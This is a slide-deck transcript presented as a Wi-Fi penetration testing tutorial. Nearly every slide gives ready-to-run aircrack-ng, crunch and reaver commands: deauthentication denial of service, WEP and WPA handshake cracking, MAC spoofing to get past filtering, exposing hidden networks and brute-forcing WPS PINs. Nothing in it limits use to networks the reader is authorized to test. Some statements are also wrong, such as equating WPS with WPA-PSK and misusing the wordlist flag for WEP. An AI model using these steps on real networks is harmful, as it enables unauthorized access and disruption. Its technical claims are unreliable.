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Wireless penetration testing

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Basically this presentation is about securing our wifi(wireless fiedielty)this is about penetration on wifi using aircrack-ng tutorial.(wifi hacking tuutorial)

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Wireless penetration testing

  1. 1. WIRELESS PENETRATION TESTING Kamlesh Dhanwani (@_gr4y_s3c70r)
  2. 2. PLAN  Introduction  Setting up a Wifi Hacking Environment  DOS ATTACK ON WIFI  WEP Security  WPA Security OR WPA2 Security  MAC ADDRESS Filtering  HIDDEN Network  WPA2 (WPS available)
  3. 3. Introduction  Wi-Fi is short for "wireless fidelity,"  Wireless Standard is IEEE 802.11  Wireless Technology made huge change the way of communication.  The use of this technology is increasing day by day,worldwide  Raising concern about security standards.
  4. 4. Setting up a Wifi Hacking Environment  PC/Laptop  Wireless Network  Wireless Adapter(Supports Monitor mode or packet injection)  Kali Linux OS/Wifislax  Aircrack-ng(Tools for pentesting wifi)
  5. 5. DOS ATTACK ON WIFI  Run Kali Linux and Plug Wireless adapter  Open terminal and type #ifconfig wlan0 down  #iwconfig wlan0 mode monitor  #ifconfig wlan0 up  #airmon-ng start wlan0  #airodump-ng wlan0
  6. 6. DOS ATTACK ON WIFI  #Airodump-ng –-channel<channel number> -- bssid<bssid of network> wlan0  #aireplay-ng –deauth 0 -a <bssid of network> wlan0
  7. 7. WEP Security  WEP stands for Wired Equivalent Privacy. This is the first security discovered of Wi-Fi invented in 1999 and crack within the year.  Open 3 terminal  1)DOS ATTACK  2)airodump-ng –channel(channel no) –bssid(Bssid of network) -w wifi (filename for handshake file) wlan0  3)aircrack-ng -w wifi01.cap(.cap is a extension of handshake file)  Note:- 3 steps in 3 terminals.
  8. 8. WPA Security OR WPA2 Security  When WEP become easy to crack then WPA (Wi-Fi protected access) is discovered. It has two formats WPA and wpa2 (this is advance). WPA is secure as compare to WEP. But there are chances that you can’t hack it.  WPA Hacking By Wordlist Method using crunch  We need To Capture Handshake  1)DOS ATTACK ON Wifi Network  2)airodump-ng –-channel(channel number) –-bssid(bssid number) -w (filename) wlan0(FOR CAPTURE HANDSHAKE)  3)Crunch 8 8 12345678 -o password.txt  4)aircrack-ng -w password.txt filename.cap
  9. 9. MAC ADDRESS Filtering  In this only allowed devices are able to connect the network. You can view the WiFi network and try to connect to the network.  Every device has own identity like we have our name same way devices has Mac address.  Every device has a unique mac address. With the help of mac, address admin allows only his device to connect the WiFi. All other devices are unable to connect.  You can’t change mac address permanently but you can change it temporarily.
  10. 10. MAC ADDRESS Filtering  Capture mac adress Airodump-ng  ifconfig wlan0 down  ifconfig wlan0 hw ether (mac address)  ifconfig wlan0 up
  11. 11. HIDDEN Network  To connect to Hidden WiFi you just need to know Network name. After Finding network name chose “add network/Connect to hidden WiFi” enter name of the network. That’s It.  In Linux Hidden Wifi showing is in lenth and in Windows It shows Hidden Network  Use airodump-ng for see available network  DOS Attack on Hidden Network It shows the name of Hidden Network
  12. 12. WPA2 (WPS available)  WPS stands for wireless protected Setup but it will insecure your network. it is also known as WPA-PSK. In this, there is 8 digit pin you can use this pin as a password.  airmon-ng start wlan0  airodump-ng wlan0mon Ctrl+c  reaver -i wlan0mon -b (BSSID) -vv -K 1  "This method is usually works on D-Link wifi routers ,but you can try it on other routers."